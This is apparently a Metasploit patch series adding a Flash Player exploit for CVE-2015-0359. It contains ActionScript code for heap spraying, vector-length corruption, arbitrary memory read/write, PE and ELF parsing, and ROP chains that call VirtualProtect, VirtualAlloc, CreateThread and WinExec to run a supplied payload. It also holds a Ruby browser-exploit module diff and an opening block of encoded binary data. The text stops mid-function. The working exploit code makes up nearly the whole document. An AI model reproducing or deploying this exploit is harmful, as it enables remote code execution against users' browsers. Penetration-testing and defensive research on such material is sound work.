z=s3U2lXR-&NlOra%PrVNp!M{Ld!@&?e{yQnT5Q7&pM{gwI@Zn5zkky2 zoHM;Y+^v-q&jqe~;}`=vaKgR~Ew!-?W}Q}7Ep5?*ieD@QpRx|bxJGiTNvz4xHAuh) zj|r24ZS8t-Rw~PsTP^Ql#!CBGi^fcaG2uYYnj}w|={s1js1{~wHQmI2G~c2H6qQdH zn67Dz*lzkE9m5C?4Emm%DANm^Qh!SpXqLSt?o1q(i7eqpugwzMy~ozHT$xY$xtm9Ms(&6fIVDFK%a7fZPjOKzQE-w z!;y~J#;8Q_*u{j$nL}TxyO#(L)85|2Iw8*0(0+;4l;+|ULqR|`EJov~C^zY#=I z#|g|}>~A>fi%d#xTJycQX+gOL`_|o#uq>wcOR`E1?PAbcPY>IEnt$;51%ofz%bAw+ zUeAz+t|?2_JjcMGi^DEMr+mw~v%D^eFpcPh`pW5MAOh0grWGq~a->x`hJ_5v1SxLc zMIF8uYVrQLDcBsN2*@7&Mf@_0lwmUPSDGP1)Q2^Re~At=g$hZRjSkA1Y=0A#f7T!%aHlV64Fn@@@jmeFbqwT=PkBSRF*N*q3_llSr`c1_ z>q^KlPA_)(11p017CO11+~eYOYgMrKglHCF*T}/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Msf.as + +// Original code by @hdarwin89 modified to be used from msf +// https://git.hacklab.kr/snippets/13 +// http://pastebin.com/Wj3NViUu + +package +{ + import flash.display.Sprite + import flash.events.Event + import flash.utils.ByteArray + import flash.system.Worker + import flash.system.WorkerDomain + import flash.system.MessageChannel + import flash.system.ApplicationDomain + import avm2.intrinsics.memory.casi32 + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite + { + private var ov:Vector. = new Vector.(25600) + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var b64:Base64Decoder = new Base64Decoder() + private var worker:Worker + private var mc:MessageChannel + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } + + private function mainThread():void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = 0xdeedbeef + } + for (i = 0; i < ov.length; i += 2) delete(ov[i]) + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } + + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + var tmp:ByteArray = new ByteArray() + tmp.length = 0x2000 + + for (var i:uint = 0; i < 20; i++) { + new Vector.(1022) + } + + ba.writeBytes(tmp) + ov[0] = new Vector.(1022) + + mc.send("") + while (mc.messageAvailable); + + for (i = 0;; i++) { + if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { + ov[0][i] = 0xffffffff + break + } + } + ov[0][0xfffffffe] = 1014 + + mc.send("") + } + + private function onMessage(e:Event):void + { + var mod:uint = casi32(0, 1022, 0xFFFFFFFF) + Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) + if (mod == 1022) mc.receive() + else { + for (var i:uint = 0; i < ov.length; i++) { + if (ov[i].length == 0xffffffff) { + uv = ov[i] + } else { + if (ov[i] != null) { + delete(ov[i]) + ov[i] = null + } + } + } + if (uv == null) { + Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") + return + } + exploiter = new Exploiter(this, platform, os, payload, uv) + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/Msf.as b/external/source/exploits/CVE-2015-0359/Msf.as deleted file mode 100755 index 3556b41542..0000000000 --- a/external/source/exploits/CVE-2015-0359/Msf.as +++ /dev/null @@ -1,264 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Be support to support 16.0 as target-player (flex-config.xml). -// 3. Download the Flex SDK (4.6) -// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 5. Build with: mxmlc -o msf.swf Msf.as - -// Original code by @hdarwin89 modified to be used from msf -// https://git.hacklab.kr/snippets/13 -// http://pastebin.com/Wj3NViUu - -package -{ - import flash.display.Sprite - import flash.events.Event - import flash.utils.ByteArray - import flash.system.Worker - import flash.system.WorkerDomain - import flash.system.MessageChannel - import flash.system.ApplicationDomain - import avm2.intrinsics.memory.casi32 - import flash.display.LoaderInfo - import mx.utils.Base64Decoder - - public class Msf extends Sprite - { - private var ov:Vector. = new Vector.(25600) - private var uv:Vector. = new Vector. - private var ba:ByteArray = new ByteArray() - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - private var b64:Base64Decoder = new Base64Decoder() - private var payload:String = "" - private var worker:Worker - private var mc:MessageChannel - - public function Msf() - { - if (Worker.current.isPrimordial) mainThread() - else workerThread() - } - - private function mainThread():void - { - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - ba.length = 0x1000 - ba.shareable = true - for (var i:uint = 0; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = ba - ov[i][1] = this - ov[i][2] = stack - ov[i][3] = payload_space - } - for (i = 0; i < ov.length; i += 2) delete(ov[i]) - worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) - mc = worker.createMessageChannel(Worker.current) - mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) - worker.setSharedProperty("mc", mc) - worker.setSharedProperty("ba", ba) - ApplicationDomain.currentDomain.domainMemory = ba - worker.start() - } - - private function workerThread():void - { - var ba:ByteArray = Worker.current.getSharedProperty("ba") - var mc:MessageChannel = Worker.current.getSharedProperty("mc") - var tmp:ByteArray = new ByteArray() - tmp.length = 0x2000 - - for (var i:uint = 0; i < 20; i++) { - new Vector.(1022) - } - - ba.writeBytes(tmp) - ov[0] = new Vector.(1022) - - mc.send("") - while (mc.messageAvailable); - - // Vector length corruption didn't work, aborting... - if (ov[0].length != 0xffffffff) { - return - } - - // Bad memory layout :( restoring length, and aborting... - if (ov[0][0x407] != 0x3f6) { - ov[0][0x3ffffffe] = 1022 - return - } - - ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 - var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000 - var main:uint = ov[0][0x409] - 1 - var stack_object:uint = ov[0][0x40a] - 1 - var payload_space_object:uint = ov[0][0x40b] - 1 - var vtable:uint = vector_read(main) - var stack_address:uint = vector_read(stack_object + 0x18) as uint - var payload_address:uint = vector_read(payload_space_object + 0x18) as uint - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) - mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString()) - } - - private function onMessage(e:Event):void - { - casi32(0, 1022, 0xFFFFFFFF) - if (ba.length != 0xffffffff) mc.receive() - else { - // Restoring vector length - var res:uint = casi32(0, 0xffffffff, 1022) - if (res != 0xffffffff) { // Something has been wrong... aborting - return - } - ba.endian = "littleEndian" - var data:Array = (mc.receive() as String).split("/") - var buffer:uint = parseInt(data[0]) as uint - var main:uint = parseInt(data[1]) as uint - var vtable:uint = parseInt(data[2]) as uint - var stack_address:uint = parseInt(data[3]) as uint - var payload_address:uint = parseInt(data[4]) as uint - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - } - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > ov[0][0]) { - pos = ((addr - ov[0][0]) / 4) - 2 - } else { - pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 - } - - ov[0][pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > ov[0][0]) { - pos = ((addr - ov[0][0]) / 4) - 2 - } else { - pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1 - } - - return ov[0][pos] - } - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb index 76b798a401..5b1fdf05f8 100644 --- a/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb +++ b/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb @@ -6,9 +6,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -48,8 +47,11 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, :flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') }, :arch => ARCH_X86 }, @@ -83,17 +85,18 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'win' + os_name = target_info[:os_name] html_template = %Q| - + - + From ab132290d712625cd4de4677029032ebb8a2ecad Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 13:53:45 -0500 Subject: [PATCH 0389/1013] Add Exploiter AS --- external/source/exploits/CVE-2015-0359/Elf.as | 235 +++++++++++ .../CVE-2015-0359/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2015-0359/ExploitVector.as | 74 ++++ .../exploits/CVE-2015-0359/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/CVE-2015-0359/Logger.as | 32 ++ external/source/exploits/CVE-2015-0359/PE.as | 72 ++++ 6 files changed, 897 insertions(+) create mode 100644 external/source/exploits/CVE-2015-0359/Elf.as create mode 100644 external/source/exploits/CVE-2015-0359/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2015-0359/ExploitVector.as create mode 100644 external/source/exploits/CVE-2015-0359/Exploiter.as create mode 100644 external/source/exploits/CVE-2015-0359/Logger.as create mode 100644 external/source/exploits/CVE-2015-0359/PE.as diff --git a/external/source/exploits/CVE-2015-0359/Elf.as b/external/source/exploits/CVE-2015-0359/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/ExploitByteArray.as b/external/source/exploits/CVE-2015-0359/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/ExploitVector.as b/external/source/exploits/CVE-2015-0359/ExploitVector.as new file mode 100644 index 0000000000..9fcbb01f7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 1014 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/Exploiter.as b/external/source/exploits/CVE-2015-0359/Exploiter.as new file mode 100644 index 0000000000..0a971409f6 --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 